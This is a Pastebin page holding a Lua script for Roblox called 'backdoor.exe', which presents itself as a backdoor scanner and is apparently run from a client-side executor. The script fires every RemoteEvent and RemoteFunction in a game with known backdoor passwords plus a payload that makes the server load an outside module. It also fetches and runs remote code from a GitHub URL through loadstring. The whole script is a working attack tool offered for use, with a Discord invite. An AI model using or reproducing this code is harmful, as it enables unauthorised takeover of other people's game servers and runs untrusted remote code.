Advertisement
Hecker0001

BackDoor.exe

Jun 8th, 2022
1,092
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 5 3.80 KB | None | 0 0
  1. --[[
  2.     backdoor.exe, the best backdoor scanner in Roblox.
  3.     Copyright (C) 2021  iK4oS
  4.  
  5.     This program is free software: you can redistribute it and/or modify
  6.     it under the terms of the GNU General Public License as published by
  7.     the Free Software Foundation, either version 3 of the License, or
  8.     (at your option) any later version.
  9.  
  10.     This program is distributed in the hope that it will be useful,
  11.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  12.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13.     GNU General Public License for more details.
  14.  
  15.     You should have received a copy of the GNU General Public License
  16.     along with this program.  If not, see <https://www.gnu.org/licenses/>.
  17. ]]
  18.  
  19. local LocalPlayer = game:GetService("Players").LocalPlayer
  20. local requireScript = ("require(7924358164):k4scripts('%s')"):format(LocalPlayer.Name)
  21. local invCode = "6HndYgC"
  22.  
  23. local alternativeSS = {
  24.     run = { [1] = "5#lGIERKWEF" },
  25.     emma = { [1] = "pwojr8hoc0-gr0yxohlgp-0feb7ncxed", [2] = ",,,,,,,,,,,,,,," },
  26.     helpme = { [1] = "helpme" },
  27.     pickett = { [1] = "cGlja2V0dA==" },
  28.     harked = "https://raw.githubusercontent.com/iK4oS/backdoor.exe/indev/harkedSS.lua"
  29. }
  30.  
  31. local function notify(text)
  32.     game:GetService("StarterGui"):SetCore(
  33.     "SendNotification",
  34.         {
  35.             Title = "backdoor.exe",
  36.             Duration = 3,
  37.             Text = text
  38.         }
  39.     )
  40. end
  41.  
  42. local function attached(possibleWait)
  43.     if possibleWait then wait(possibleWait) end
  44.     return LocalPlayer.PlayerGui:FindFirstChild("backdoor.exe")
  45. end
  46.  
  47. local function validRemote(rm, _className)
  48.     local fullName =  rm:GetFullName()
  49.    
  50.     if string.find(fullName, "DefaultChat") then return false end
  51.     if string.find(fullName, LocalPlayer.Name) then return false end
  52.     if rm:FindFirstChild("__FUNCTION") then return false end
  53.     if rm.Parent == game:GetService("JointsService") then return false end
  54.    
  55.     if rm.ClassName ~= _className then return false end
  56.  
  57.     if getgenv().blacklisted then
  58.         if table.find(getgenv().blacklisted, fullName) then return false end
  59.     end
  60.  
  61.     return true
  62. end
  63.  
  64. local function harked()
  65.     local backpack = LocalPlayer.Backpack
  66.     return backpack:FindFirstChild("HandlessSegway") and
  67.         Backpack.HandlessSegway:FindFirstChild("RemoteEvents") and
  68.         Backpack.HandlessSegway.RemoteEvents:FindFirstChild("DestroySegway")
  69. end
  70. local function emmaBackdoor(rm)
  71.     return rm.Name == "emma" and rm.Parent.Name == "mynameemma"
  72. end
  73. local function runBackdoor(rm)
  74.     return rm.Name == "Run" and
  75.     rm.Parent:FindFirstChild("Pages") and rm.Parent:FindFirstChild("R6") and
  76.     rm.Parent:FindFirstChild("Version") and rm.Parent:FindFirstChild("Title")
  77. end
  78.  
  79. local function scanGame()
  80.     notify("Scanning for a backdoor.")
  81.     if harked() then
  82.         loadstring(game:HttpGetAsync(alternativeSS.harked))()
  83.         return
  84.     end
  85.  
  86.     for _, remote in pairs(game:GetDescendants()) do
  87.         if validRemote(remote, "RemoteEvent") and not attached() then
  88.             if emmaBackdoor(remote) then
  89.                 remote:FireServer(unpack(alternativeSS.emma), requireScript)
  90.             end
  91.             if runBackdoor(remote) then
  92.                 remote:FireServer(unpack(alternativeSS.run), requireScript)
  93.             end
  94.  
  95.             remote:FireServer(unpack(alternativeSS.helpme), requireScript)
  96.             remote:FireServer(unpack(alternativeSS.pickett), requireScript)
  97.             remote:FireServer(requireScript)
  98.  
  99.         end
  100.     end
  101.  
  102.     for _, remote in pairs(game:GetDescendants()) do
  103.         if validRemote(remote, "RemoteFunction") and not attached() then
  104.             remote:InvokeServer(requireScript)
  105.         end
  106.     end
  107.  
  108. end
  109.  
  110. local function Main()
  111.     notify("Make sure to join our Discord!\nCode: "..invCode)
  112.  
  113.     scanGame()
  114.    
  115.     if not attached(2) then
  116.         notify("Unable to find backdoor.\nGame not backdoored?")
  117.     end
  118. end
  119.  
  120. if game:IsLoaded() then
  121.     pcall(Main)
  122. end
  123.  
  124. --  k4scripts
  125. --  .------.
  126. --  |4.--. |
  127. --  | :│/: |
  128. --  | :│\: |
  129. --  | '--'4|
  130. --  `------'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement